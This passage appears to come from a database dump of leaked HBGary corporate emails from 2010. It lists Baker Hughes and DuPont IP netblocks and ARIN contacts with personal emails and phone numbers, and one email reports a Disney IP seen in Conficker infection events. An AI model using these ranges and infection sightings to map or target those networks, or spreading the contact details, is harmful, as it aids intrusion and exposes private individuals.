UU-65-205-95-192-D9 (NET-65-205-95-192-1) 65.205.95.192 - 65.205.95.207\r\nBAKER HUGHES UU-65-205-95-144 (NET-65-205-95-144-1) 65.205.95.144 - 65.205.95.159\r\nBAKER HUGHES UU-206-114-99-112 (NET-206-114-99-112-1) 206.114.99.112 - 206.114.99.127\r\nBAKER HUGHES UU-65-206-128-64-D13 (NET-65-206-128-64-1) 65.206.128.64 - 65.206.128.79\r\nBAKER HUGHES UU-208-251-48-32-D6 (NET-208-251-48-32-1) 208.251.48.32 - 208.251.48.47\r\nBAKER HUGHES UU-65-204-173-240-D3 (NET-65-204-173-240-1) 65.204.173.240 - 65.204.173.255\r\nBAKER HUGHES UU-63-76-247-48-D11 (NET-63-76-247-48-1) 63.76.247.48 - 63.76.247.63\r\nBAKER HUGHES UU-63-80-172-144-D7 (NET-63-80-172-144-1) 63.80.172.144 - 63.80.172.159\r\nBAKER HUGHES UU-63-97-253-160-D9 (NET-63-97-253-160-1) 63.97.253.160 - 63.97.253.175\r\nBAKER HUGHES UU-63-98-98-16-D8 (NET-63-98-98-16-1) 63.98.98.16 - 63.98.98.31\r\nBAKER HUGHES UU-65-221-209-216-D9 (NET-65-221-209-216-1) 65.221.209.216 - 65.221.209.223\r\nBAKER HUGHES UU-63-97-217-D7 (NET-63-97-217-0-1) 63.97.217.0 - 63.97.217.15\r\nBAKER HUGHES UU-65-197-73-16-D5 (NET-65-197-73-16-1) 65.197.73.16 - 65.197.73.31\r\nBAKER HUGHES UU-63-97-116-224-D5 (NET-63-97-116-224-1) 63.97.116.224 - 63.97.116.239\r\nBAKER HUGHES UU-65-210-205-96-D9 (NET-65-210-205-96-1) 65.210.205.96 - 65.210.205.111\r\nBAKER HUGHES UU-208-254-151-96-D6 (NET-208-254-151-96-1) 208.254.151.96 - 208.254.151.111\r\nBAKER HUGHES UU-65-198-138-D4 (NET-65-198-138-0-1) 65.198.138.0 - 65.198.138.15\r\nBAKER HUGHES UU-63-83-109-176-D8 (NET-63-83-109-176-1) 63.83.109.176 - 63.83.109.191\r\nBAKER HUGHES UU-65-201-92-240-D7 (NET-65-201-92-240-1) 65.201.92.240 - 65.201.92.255\r\nBAKER HUGHES UU-65-197-200-48-D4 (NET-65-197-200-48-1) 65.197.200.48 - 65.197.200.63\r\nBAKER HUGHES UU-65-197-248-160-D7 (NET-65-197-248-160-1) 65.197.248.160 - 65.197.248.175\r\nBAKER HUGHES UU-65-218-126-112-D1 (NET-65-218-126-112-1) 65.218.126.112 - 65.218.126.127\r\nBAKER HUGHES UU-65-216-28-176-D7 (NET-65-216-28-176-1) 65.216.28.176 - 65.216.28.191\r\nBAKER HUGHES UU-63-96-150-208-D3 (NET-63-96-150-208-1) 63.96.150.208 - 63.96.150.223\r\nBAKER HUGHES UU-65-216-3-160-D7 (NET-65-216-3-160-1) 65.216.3.160 - 65.216.3.175\r\nBAKER HUGHES UU-65-240-119-96-D4 (NET-65-240-119-96-1) 65.240.119.96 - 65.240.119.111\r\nBAKER HUGHES UU-65-243-17-96-D10 (NET-65-243-17-96-1) 65.243.17.96 - 65.243.17.111\r\nBAKER HUGHES UU-63-78-23-48-D8 (NET-63-78-23-48-1) 63.78.23.48 - 63.78.23.63\r\nBAKER HUGHES UU-208-251-42-D14 (NET-208-251-42-0-1) 208.251.42.0 - 208.251.42.15\r\nBAKER HUGHES UU-208-251-30-112-D4 (NET-208-251-30-112-1) 208.251.30.112 - 208.251.30.127\r\nBAKER HUGHES UU-208-251-42-144-D9 (NET-208-251-42-144-1) 208.251.42.144 - 208.251.42.159\r\nBAKER HUGHES UU-208-251-48-112-D3 (NET-208-251-48-112-1) 208.251.48.112 - 208.251.48.127\r\nBAKER HUGHES UU-65-208-188-224-D4 (NET-65-208-188-224-1) 65.208.188.224 - 65.208.188.239\r\nBAKER HUGHES UU-65-212-2-64-D8 (NET-65-212-2-64-1) 65.212.2.64 - 65.212.2.79\r\nBAKER HUGHES UU-65-208-188-208 (NET-65-208-188-208-1) 65.208.188.208 - 65.208.188.223\r\nBAKER HUGHES UU-65-249-230-D7 (NET-65-249-230-0-1) 65.249.230.0 - 65.249.230.15\r\nBAKER HUGHES UU-65-249-214-160-D8 (NET-65-249-214-160-1) 65.249.214.160 - 65.249.214.175\r\nBAKER HUGHES UU-63-79-198-112-D6 (NET-63-79-198-112-1) 63.79.198.112 - 63.79.198.127\r\nBAKER HUGHES UU-63-99-160-96-D8 (NET-63-99-160-96-1) 63.99.160.96 - 63.99.160.111\r\nBAKER HUGHES UU-63-99-187-176-D3 (NET-63-99-187-176-1) 63.99.187.176 - 63.99.187.191\r\nBAKER HUGHES UU-65-216-0-192-D13 (NET-65-216-0-192-1) 65.216.0.192 - 65.216.0.207\r\nBAKER HUGHES UU-63-96-246-128-D37 (NET-63-96-246-128-1) 63.96.246.128 - 63.96.246.143\r\nBAKER HUGHES UU-65-218-64-224-D6 (NET-65-218-64-224-1) 65.218.64.224 - 65.218.64.239\r\nBAKER HUGHES UU-65-218-117-96-D11 (NET-65-218-117-96-1) 65.218.117.96 - 65.218.117.111\r\nBAKER HUGHES UU-63-79-106-96-D8 (NET-63-79-106-96-1) 63.79.106.96 - 63.79.106.111\r\nBAKER HUGHES UU-65-212-198-224-D1 (NET-65-212-198-224-1) 65.212.198.224 - 65.212.198.239\r\nBAKER HUGHES UU-65-216-57-208-D7 (NET-65-216-57-208-1) 65.216.57.208 - 65.216.57.223\r\nBAKER HUGHES UU-63-98-234-160-D6 (NET-63-98-234-160-1) 63.98.234.160 - 63.98.234.175\r\nBAKER HUGHES UU-63-98-241-128-D8 (NET-63-98-241-128-1) 63.98.241.128 - 63.98.241.143\r\nBAKER HUGHES UU-63-99-5-96-D8 (NET-63-99-5-96-1) 63.99.5.96 - 63.99.5.111\r\nBAKER HUGHES UU-63-96-252-176-D15 (NET-63-96-252-176-1) 63.96.252.176 - 63.96.252.191\r\nBAKER HUGHES UU-63-96-253-160-D5 (NET-63-96-253-160-1) 63.96.253.160 - 63.96.253.175\r\nBAKER HUGHES UU-63-97-112-112-D15 (NET-63-97-112-112-1) 63.97.112.112 - 63.97.112.127\r\nBAKER HUGHES UU-63-96-9-160-D12 (NET-63-96-9-160-1) 63.96.9.160 - 63.96.9.175\r\nBAKER HUGHES UU-63-110-112-48-D3 (NET-63-110-112-48-1) 63.110.112.48 - 63.110.112.63\r\nBAKER HUGHES UU-63-99-19-160-D8 (NET-63-99-19-160-1) 63.99.19.160 - 63.99.19.175\r\nBAKER HUGHES UU-63-99-44-160-D9 (NET-63-99-44-160-1) 63.99.44.160 - 63.99.44.175\r\nBAKER HUGHES UU-65-197-65-240-D5 (NET-65-197-65-240-1) 65.197.65.240 - 65.197.65.255\r\nBAKER HUGHES UU-65-201-217-112-D2 (NET-65-201-217-112-1) 65.201.217.112 - 65.201.217.127\r\nBAKER HUGHES UU-63-98-228-240-D2 (NET-63-98-228-240-1) 63.98.228.240 - 63.98.228.255\r\nBAKER HUGHES UU-63-99-117-96-D11 (NET-63-99-117-96-1) 63.99.117.96 - 63.99.117.111\r\nBAKER HUGHES UU-65-205-96-D9 (NET-65-205-96-0-1) 65.205.96.0 - 65.205.96.15\r\nBAKER HUGHES UU-65-208-139-16-D5 (NET-65-208-139-16-1) 65.208.139.16 - 65.208.139.31\r\nBAKER HUGHES UU-63-79-156-128-D6 (NET-63-79-156-128-1) 63.79.156.128 - 63.79.156.143\r\nBAKER HUGHES UU-65-208-143-224-D2 (NET-65-208-143-224-1) 65.208.143.224 - 65.208.143.239\r\nBAKER HUGHES UU-63-110-98-104-D4 (NET-63-110-98-104-1) 63.110.98.104 - 63.110.98.111\r\nBAKER HUGHES UU-63-110-70-200-D4 (NET-63-110-70-200-1) 63.110.70.200 - 63.110.70.207\r\nBAKER HUGHES UU-65-242-52-168-D2 (NET-65-242-52-168-1) 65.242.52.168 - 65.242.52.175\r\nBaker Hughes GT-139-142-185-160-CX (NET-139-142-185-160-1) 139.142.185.160 - 139.142.185.167\r\nBaker Hughes GT-64-42-209-224-CX (NET-64-42-209-224-1) 64.42.209.224 - 64.42.209.231\r\nBaker Hughes GT-PRA-BLK1 (NET-139-142-189-100-1) 139.142.189.100 - 139.142.189.103\r\nBaker Hughes Canada BAK20070222-CA (NET-207-236-169-0-1) 207.236.169.0 - 207.236.169.7\r\nBaker Hughes Canada BAK20080121-CA (NET-76-66-208-72-1) 76.66.208.72 - 76.66.208.79\r\nBaker Hughes Canada Company BAK0910-CA (NET-207-236-231-96-1) 207.236.231.96 - 207.236.231.103\r\nBaker Hughes Canada Company BAK113004-CA (NET-207-35-202-136-1) 207.35.202.136 - 207.35.202.143\r\nBaker Hughes Canada Company GT-139-142-55-128-CX (NET-139-142-55-128-1) 139.142.55.128 - 139.142.55.135\r\nBaker Hughes Canada Company GT-139-142-55-136-CX (NET-139-142-55-136-1) 139.142.55.136 - 139.142.55.143\r\nBaker Hughes Canada Company GT-139-142-55-144-CX (NET-139-142-55-144-1) 139.142.55.144 - 139.142.55.151\r\nBaker Hughes Canada Company GT-139-142-55-152-CX (NET-139-142-55-152-1) 139.142.55.152 - 139.142.55.159\r\nBaker Hughes Canada Company GT-139-142-55-160-CX (NET-139-142-55-160-1) 139.142.55.160 - 139.142.55.167\r\nBaker Hughes Canada Company GT-139-142-55-168-CX (NET-139-142-55-168-1) 139.142.55.168 - 139.142.55.175\r\nBaker Hughes Canada Company GT-139-142-55-176-CX (NET-139-142-55-176-1) 139.142.55.176 - 139.142.55.183\r\nBaker Hughes Canada Company GT-139-142-55-184-CX (NET-139-142-55-184-1) 139.142.55.184 - 139.142.55.191\r\nBaker Hughes Canada Company GT-139-142-194-24-CX (NET-139-142-194-24-1) 139.142.194.24 - 139.142.194.31\r\nBaker Hughes Canada Company BHC20070911-CA (NET-207-164-201-168-1) 207.164.201.168 - 207.164.201.175\r\nBaker Hughes Inc SBC207215168232030616 (NET-207-215-168-232-1) 207.215.168.232 - 207.215.168.239\r\nBaker Hughes Inc SBC06809408300029040310110946 (NET-68-94-83-0-1) 68.94.83.0 - 68.94.83.7\r\nBaker Hughes Inteq SBCIS-101925-132725 (NET-66-136-7-128-1) 66.136.7.128 - 66.136.7.135\r\nBaker Hughes Oilfield Operations SBCIS-111604092729 (NET-216-60-26-224-1) 216.60.26.224 - 216.60.26.239\r\nBaker Hughes Oilfield Operations, Inc. SBC21606311911228040603114253 (NET-216-63-119-112-1) 216.63.119.112 - 216.63.119.127\r\nBaker Hughes Oilfield Operations, Inc. SBC07114702124028060629133312 (NET-71-147-21-240-1) 71.147.21.240 - 71.147.21.255\r\nBaker Hughes Oilfield Operations, Inc..6417 SBC07025116100024050812122621 (NET-70-251-161-0-1) 70.251.161.0 - 70.251.161.255\r\nBaker Hughes Venezuela BAKHUGHESVE-01 (NET-64-76-64-64-1) 64.76.64.64 - 64.76.64.71\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16241,'aaron_hbgary_com/16241.html'),(6747,'2010-05-26','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004868.M339936P14101Q1603.eml','all@hbgary.com','Reminder time cards','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello to All,\r\n\r\n&nbsp;\r\n\r\nJust a reminder. We have Monday May 31 off for Memorial\r\nday. &nbsp;&nbsp;Please have your timecard filled out no later than\r\nFriday&nbsp; 28. Barbara needs to input all hours Monday or the latest Tuesday\r\nso that we can get paid Friday. &nbsp;She will not be in the office next\r\nweek.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThank you and enjoy you 3 day\r\nweekend!\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15789,'aaron_hbgary_com/15789.html'),(6748,'2010-05-26','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297004868.M643171P14101Q1604.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Ron Zich and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMay 26, 2010\r\n    AFCEA NOVA\r\n    \r\n      Latest:\r\n          1 discussion\r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Registration is Open for Transition Seminar\r\n        Add a comment  &raquo;\r\n\r\n      Started by Ron Zich, HQMC / C4 at USMC\r\n        \r\n          \r\n                    Designed for transitioning military and government personnel.  $20 for dinner in Crystal City at the Doubletree, 14 June.  See AFCEA NOVA website for additional info\r\n                By Ron Zich, HQMC / C4 at USMC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',15763,'aaron_hbgary_com/15763.html'),(6749,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004868.M868304P14101Q1605.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Another one','I\'m working my way through a very long list of netblocks, about 1/2\r\nway through.  Here\'s one more finding:\r\n\r\nDISNEY WORLDWIDE DISNEY-W12-106-0 (NET-12-192-106-0-1) 12.192.106.0 -\r\n12.192.106.127\r\nIP : 12.192.106.104\r\nConfidence : 14.472653%\r\nEvents : Conficker A/B @ 9 December 2009 06:37:01 PM\r\n\r\n\r\nTed\r\n',8302,'aaron_hbgary_com/8302.html'),(6750,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004868.M91340P14101Q1602.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Then these','Dupont (DUPONT-4) \r\nDuPont (DUPONT-17) \r\nDuPont (DUPONT) \r\nDUPONT - BRANTWYN - MIDA (DUPON-3) \r\nDUPONT -MAIN CLUB HOUSE- MIDA (DUPON-2) \r\nDUPONT AIR PRODUCTS NANOMATERIAL (DAPN) \r\nDUPONT AUTHENTICATION INC (DUPON-1) \r\nDupont Computing (DUPONT-9) \r\nDUPONT DANISCO CELLULOSIC (DUPON-5) \r\nDupont Displays (DUPONT-16) \r\nDuPont Electronics (DUPONT-1) \r\nDupont Electronics Connector Division (DECD) \r\nDuPont ESnet (DUPONT-6) \r\nDuPont Experimental Station (DES-5) \r\nDuPont Fabros Technology LP (DFTL-2) \r\nDUPONT FIBERS FEDERAL CREDIT UNION (DFFCU-1) \r\nDuPont FIBERS Information Systems (DFIS) \r\nDuPont Hardcore Composites (DHC-5) \r\nDUPONT LEGAL (DUPONT-12) \r\nDupont Manual High School (DMHS-1) \r\nDuPont Photomasks, Round Rock (DPRR) \r\nDupont Photomasks,Inc (DUPONT-13) \r\nDuPont Registry (DUPON) \r\nDupont Robin (DUPONT-11) \r\nDUPONT SAFETY RESOURCES (DSR-14) \r\nDUPONT SAFETY RESOURCES (DUPON-8) \r\nDUPONT SAFETY RESOURCES (DUPON-6) \r\nDUPONT SAFETY RESOURCES (DUPON-7) \r\nDuPont Scientific Computing (DSC-78) \r\nDupont Titanium Technologies (DUPON-4) \r\nDUPONT ARIN CONTACT  (DAC69-ARIN)     contact@usa.dupont.com +1-302-992-2941\r\nDupont III, Gerard  (GDU22-ARIN)     gerard@shelbywireless.com +1-502-722-9292\r\nDupont, Daniel  (DD1174-ARIN)     ddupont@shdm.org +1-514-380-2121\r\nDupont, Don  (DD1089-ARIN)     Don.Dupont@qwestisp.net +1-505-471-6508\r\nDuPont, Don  (DDU1-ARIN)     ddupont@wrci.com +1-973-290-5711\r\nDupont, Eva  (ED297-ARIN)     hostmaster@choiceonecom.com +1-603-882-4412\r\nDuPont, Jackie  (JDU135-ARIN)     jacqueline@buckmasterdupont.com +1-386-257-0606\r\nDuPont, John  (JDU151-ARIN)     jon.a.dupont@tusace.army.mil +1-603-646-4692\r\nDupont, Lorraine  (LDU26-ARIN)     lorrained@cashman-katz.com +1-860-652-0300\r\nDuPont, Michael  (MDU39-ARIN)     m1633945@tds.net +1-262-792-1818\r\nDupont, R Michael (RMD19-ARIN)     rmdupont@light.com +1-317-848-4418\r\nDupont, Sylvie  (SD634-ARIN)     sdupont@quebectel.qu.ca +1-418-722-5504\r\nDuPont (AS7823) DUPONT-ASN    7823  \r\nDuPont Fabros Technology LP (AS11011) DFTLP    11011  \r\nDuPont Scientific Computing (AS4127) DUPONT-SCD    4127  \r\nDupont DUPONT-FSG-1 (NET-192-73-6-0-1) 192.73.6.0 - 192.73.6.255\r\nDuPont DUPONT-EXSTA-2 (NET-138-197-0-0-1) 138.197.0.0 - 138.197.255.255\r\nDuPont DUPONT-EXSTA-4 (NET-192-26-233-0-1) 192.26.233.0 - 192.26.233.255\r\nDUPONT - BRANTWYN - MIDA UU-65-220-36-112-D4 (NET-65-220-36-112-1) 65.220.36.112 - 65.220.36.127\r\nDUPONT -MAIN CLUB HOUSE- MIDA UU-65-202-203-160-D4 (NET-65-202-203-160-1) 65.202.203.160 - 65.202.203.175\r\nDUPONT AIR PRODUCTS NANOMATERIAL DUPONT-A91-90-136 (NET-12-188-90-136-1) 12.188.90.136 - 12.188.90.143\r\nDUPONT AUTHENTICATION INC Q0805-63-228-219-64 (NET-63-228-219-64-1) 63.228.219.64 - 63.228.219.95\r\nDUPONT DANISCO CELLULOSIC VONRTN-DUPONTDANI-TDSNET-NETBLK (NET-96-61-130-88-1) 96.61.130.88 - 96.61.130.95\r\nDUPONT DANISCO CELLULOSIC VONRTN-DUPONTDANI-TDSNET-NETBLK (NET-96-61-130-208-1) 96.61.130.208 - 96.61.130.215\r\nDuPont Electronics DUPONTEOP (NET-192-70-167-0-1) 192.70.167.0 - 192.70.167.255\r\nDupont Electronics Connector Division CSINET (NET-192-206-189-0-1) 192.206.189.0 - 192.206.189.255\r\nDupont Electronics Connector Division CSINET4 (NET-192-206-191-0-1) 192.206.191.0 - 192.206.191.255\r\nDupont Electronics Connector Division CSINET5 (NET-192-206-192-0-1) 192.206.192.0 - 192.206.192.255\r\nDupont Electronics Connector Division CSINET6 (NET-192-206-193-0-1) 192.206.193.0 - 192.206.193.255\r\nDupont Electronics Connector Division CSINET7 (NET-192-206-194-0-1) 192.206.194.0 - 192.206.194.255\r\nDupont Electronics Connector Division CSINET3 (NET-192-206-190-0-1) 192.206.190.0 - 192.206.190.255\r\nDuPont ESnet DCAN-207-245-84-ESN (NET-207-245-84-64-1) 207.245.84.64 - 207.245.84.127\r\nDuPont Experimental Station DCAN-204-183-81-WIZ (NET-204-183-81-128-1) 204.183.81.128 - 204.183.81.159\r\nDUPONT FIBERS FEDERAL CREDIT UNION SAVV-S264620-2 (NET-64-243-17-208-1) 64.243.17.208 - 64.243.17.223\r\nDuPont FIBERS Information Systems CRP (NET-144-69-0-0-1) 144.69.0.0 - 144.69.255.255\r\nDuPont Hardcore Composites DUPH001-207-245-101 (NET-207-245-101-0-1) 207.245.101.0 - 207.245.101.255\r\nDUPONT LEGAL FON-106794419248821 (NET-63-167-137-0-1) 63.167.137.0 - 63.167.137.127\r\nDupont Manual High School DUPONTMANUAL (NET-192-231-2-0-1) 192.231.2.0 - 192.231.2.255\r\nDuPont Photomasks, Round Rock DPIRR-CUST (NET-192-153-252-0-1) 192.153.252.0 - 192.153.252.255\r\nDupont Photomasks,Inc TWTC-AUSU-C-PHOTOMK-0 (NET-216-54-239-0-1) 216.54.239.0 - 216.54.239.255\r\nDuPont Registry SPRINTLINK (NET-65-165-243-0-1) 65.165.243.0 - 65.165.243.255\r\nDuPont Registry SPRINTLINK (NET-63-171-14-0-1) 63.171.14.0 - 63.171.14.255\r\nDupont Robin DUPROUU1 (NET-216-95-243-144-1) 216.95.243.144 - 216.95.243.159\r\nDUPONT SAFETY RESOURCES DUPONT-S17-72-128 (NET-12-164-72-128-1) 12.164.72.128 - 12.164.72.255\r\nDUPONT SAFETY RESOURCES DUPONT-S22-177-128 (NET-12-221-177-128-1) 12.221.177.128 - 12.221.177.191\r\nDUPONT SAFETY RESOURCES DUPONT-S84-206-168 (NET-12-169-206-168-1) 12.169.206.168 - 12.169.206.175\r\nDUPONT SAFETY RESOURCES DUPONT-S97-253-64 (NET-12-52-253-64-1) 12.52.253.64 - 12.52.253.71\r\nDUPONT SAFETY RESOURCES DUPONT-S81-243-64 (NET-12-97-243-64-1) 12.97.243.64 - 12.97.243.71\r\nDUPONT SAFETY RESOURCES DUPONT-S24-252-216 (NET-12-189-252-216-1) 12.189.252.216 - 12.189.252.223\r\nDUPONT SAFETY RESOURCES DUPONT-S35-115-168 (NET-12-238-115-168-1) 12.238.115.168 - 12.238.115.175\r\nDUPONT SAFETY RESOURCES DUPONT-S93-17-200 (NET-12-164-17-200-1) 12.164.17.200 - 12.164.17.207\r\nDUPONT SAFETY RESOURCES DUPONT-S56-242-168 (NET-12-97-242-168-1) 12.97.242.168 - 12.97.242.175\r\nDUPONT SAFETY RESOURCES DUPONT-S52-86-184 (NET-12-96-86-184-1) 12.96.86.184 - 12.96.86.191\r\nDUPONT SAFETY RESOURCES DUPONT-S81-225-88 (NET-12-189-225-88-1) 12.189.225.88 - 12.189.225.95\r\nDUPONT SAFETY RESOURCES DUPONT-S93-102-0 (NET-12-111-102-0-1) 12.111.102.0 - 12.111.102.7\r\nDUPONT SAFETY RESOURCES DUPONT-S13-174-208 (NET-12-186-174-208-1) 12.186.174.208 - 12.186.174.215\r\nDUPONT SAFETY RESOURCES DUPONT-S13-219-192 (NET-12-192-219-192-1) 12.192.219.192 - 12.192.219.199\r\nDUPONT SAFETY RESOURCES DUPONT-S75-38-8 (NET-12-185-38-8-1) 12.185.38.8 - 12.185.38.15\r\nDUPONT SAFETY RESOURCES DUPONT-S23-110-64 (NET-12-178-110-64-1) 12.178.110.64 - 12.178.110.71\r\nDUPONT SAFETY RESOURCES DUPONT-S84-26-208 (NET-12-236-26-208-1) 12.236.26.208 - 12.236.26.215\r\nDUPONT SAFETY RESOURCES DUPONT-S85-224-176 (NET-12-171-224-176-1) 12.171.224.176 - 12.171.224.183\r\nDUPONT SAFETY RESOURCES DUPONT-S82-107-224 (NET-12-131-107-224-1) 12.131.107.224 - 12.131.107.231\r\nDUPONT SAFETY RESOURCES DUPONT-S95-87-208 (NET-12-191-87-208-1) 12.191.87.208 - 12.191.87.215\r\nDUPONT SAFETY RESOURCES DUPONT-S93-30-208 (NET-12-239-30-208-1) 12.239.30.208 - 12.239.30.215\r\nDUPONT SAFETY RESOURCES DUPONT-S53-219-208 (NET-12-192-219-208-1) 12.192.219.208 - 12.192.219.215\r\nDUPONT SAFETY RESOURCES DUPONT-S24-157-8 (NET-12-166-157-8-1) 12.166.157.8 - 12.166.157.15\r\nDUPONT SAFETY RESOURCES DUPONT-S85-107-216 (NET-12-131-107-216-1) 12.131.107.216 - 12.131.107.223\r\nDUPONT SAFETY RESOURCES DUPONT-S94-13-208 (NET-12-184-13-208-1) 12.184.13.208 - 12.184.13.215\r\nDUPONT SAFETY RESOURCES DUPONT-S53-161-0 (NET-12-186-161-0-1) 12.186.161.0 - 12.186.161.7\r\nDupont Titanium Technologies NWJHTN-DUPONTTITA-TDSNET-NETBLK (NET-69-128-139-24-1) 69.128.139.24 - 69.128.139.31\r\nE.I. du Pont de Nemours and Co., Inc. DUPONT (NET-150-170-0-0-1) 150.170.0.0 - 150.172.255.255\r\nDupont RNCI-DUPONT73560 (NET-216-233-164-120-1) 216.233.164.120 - 216.233.164.127\r\nDupont SBC06809225220829040405143958 (NET-68-92-252-208-1) 68.92.252.208 - 68.92.252.215\r\nDuPont RSPC-646679-12072007 (NET-67-192-21-144-1) 67.192.21.144 - 67.192.21.159\r\nDuPont RSPC-646679-12072007 (NET-67-192-27-248-1) 67.192.27.248 - 67.192.27.255\r\nDuPont RSPC-1238887092518886 (NET-174-143-42-120-1) 174.143.42.120 - 174.143.42.127\r\nDUPONT - BRANTWYN - MIDA UU-65-213-15-160-D4 (NET-65-213-15-160-1) 65.213.15.160 - 65.213.15.167\r\nDuPont - DSRB DUPONT-DSRB (NET-208-112-26-200-1) 208.112.26.200 - 208.112.26.207\r\nDuPont - Gates Business Solutions, LLC RSPC-1229321768631763 (NET-72-4-113-128-1) 72.4.113.128 - 72.4.113.135\r\nDuPont - Gates Business Solutions, LLC - QA Account RSPC-1241401693047809 (NET-72-4-115-136-1) 72.4.115.136 - 72.4.115.143\r\nDuPont - Gates Business Solutions, LLC - QA Account RSPC-1242939732634669 (NET-207-97-220-112-1) 207.97.220.112 - 207.97.220.119\r\nDuPont - Production Account RSPC-1245762732111034 (NET-174-143-109-120-1) 174.143.109.120 - 174.143.109.127\r\nDUPONT - TRALEE TAC-66-181-40-168 (NET-66-181-40-168-1) 66.181.40.168 - 66.181.40.175\r\nDUPONT -MAIN CLUB HOUSE- MIDA UU-65-207-29-56-D5 (NET-65-207-29-56-1) 65.207.29.56 - 65.207.29.63\r\nDupont and Company, Inc. UU-208-231-202 (NET-208-231-202-0-1) 208.231.202.0 - 208.231.202.255\r\nDUPONT AUTHENTICATION DUPONTAUTHENTICATION (NET-76-12-179-128-1) 76.12.179.128 - 76.12.179.143\r\nDUPONT AUTHENTICATION DUPONTAUTHENTICATION (NET-76-12-179-80-1) 76.12.179.80 - 76.12.179.87\r\nDUPONT AUTHENTICATION DUPONTAUTHENTICATION (NET-76-12-179-144-1) 76.12.179.144 - 76.12.179.159\r\nDUPONT AUTHENTICATION DUPONTAUTHENTICATION (NET-76-12-179-104-1) 76.12.179.104 - 76.12.179.111\r\nDUPONT AUTHENTICATION DUPONTAUTHENTICATION (NET-76-12-180-64-1) 76.12.180.64 - 76.12.180.71\r\nDUPONT AUTHENTICATION DUPONTAUTHENTICATION (NET-76-12-187-24-1) 76.12.187.24 - 76.12.187.31\r\nDUPONT AUTO DEPLOY #2 TAC-66-181-40-88 (NET-66-181-40-88-1) 66.181.40.88 - 66.181.40.95\r\nDUPONT CELLOPHA DUPONTCELLOPHA (NET-67-62-201-72-1) 67.62.201.72 - 67.62.201.79\r\nDupont City of Police Department ESCH-66-224-151-208 (NET-66-224-151-208-1) 66.224.151.208 - 66.224.151.215\r\nDUPONT COMMINUTY CREDIT - CHA BLS-68-17-44-96-27-1004213928 (NET-68-17-44-96-1) 68.17.44.96 - 68.17.44.127\r\nDupont Community Credit Union DUPONTCOMMUNITYCREDITUNION (NET-74-205-140-192-1) 74.205.140.192 - 74.205.140.207\r\nDUPONT COMPANY-060218012204 SBC07115610408829060218012216 (NET-71-156-104-88-1) 71.156.104.88 - 71.156.104.95\r\nDUPONT COMPANY-071217164945 SBC-99-144-100-136-29-0712175000 (NET-99-144-100-136-1) 99.144.100.136 - 99.144.100.143\r\nDupont Corian UU-208-237-237-32 (NET-208-237-237-32-1) 208.237.237.32 - 208.237.237.47\r\nDUPONT CORPORATE AUTO DEPLOY UNIT 1 TAC-66-181-39-64 (NET-66-181-39-64-1) 66.181.39.64 - 66.181.39.71\r\nDUPONT DANISCO CELLULOSIC ETHA-081022122612 SBC-99-50-178-176-29-0810222646 (NET-99-50-178-176-1) 99.50.178.176 - 99.50.178.183\r\nDUPONT DE NEMOURS CO-040803004727 SBC06922403011229040803004734 (NET-69-224-30-112-1) 69.224.30.112 - 69.224.30.119\r\nDupont Dental Offices DUPONT-200505021127228 (NET-209-194-13-88-1) 209.194.13.88 - 209.194.13.95\r\nDupont Direct Financial PTIN-69-10-75-160 (NET-69-10-75-160-1) 69.10.75.160 - 69.10.75.167\r\nDupont Employee Credid Union ITCD-97-67-221-184 (NET-97-67-221-184-1) 97.67.221.184 - 97.67.221.191\r\nDUPONT FABROS DEVELOPMENT UU-63-118-157-72 (NET-63-118-157-72-1) 63.118.157.72 - 63.118.157.79\r\nDuPont Fabros Technology LP ABOV-T635-209-249-19-80-28 (NET-209-249-19-80-1) 209.249.19.80 - 209.249.19.95\r\nDuPont Fabros Technology, LP ABOV-Y635-209-249-11-248-29 (NET-209-249-11-248-1) 209.249.11.248 - 209.249.11.255\r\nDuPont Fabros Technology, LP ABOV-T635-209-249-168-0-24 (NET-209-249-168-0-1) 209.249.168.0 - 209.249.168.255\r\nDuPont Fabros Technology, LP ABOV-E231-209-249-18-0-24 (NET-209-249-18-0-1) 209.249.18.0 - 209.249.18.255\r\nDuPont Fabros Technology, LP ABOV-E231-209-249-19-0-28 (NET-209-249-19-0-1) 209.249.19.0 - 209.249.19.15\r\nDUPONT FLOORING SYSTEM-051110130540 SBC07025518416829051110130551 (NET-70-255-184-168-1) 70.255.184.168 - 70.255.184.175\r\nDupont Flooring Systems ISDN-DUPONTFLOOR (NET-207-65-12-112-1) 207.65.12.112 - 207.65.12.119\r\nDUPONT FLOORING SYSTEMS-060225005420 SBC07115807713629060225005441 (NET-71-158-77-136-1) 71.158.77.136 - 71.158.77.143\r\nDupont Ford Ltee DUP032504-CA (NET-69-157-207-48-1) 69.157.207.48 - 69.157.207.55\r\nDuPont Frabros Technology LP ABOV-T635-209-249-16-0-24 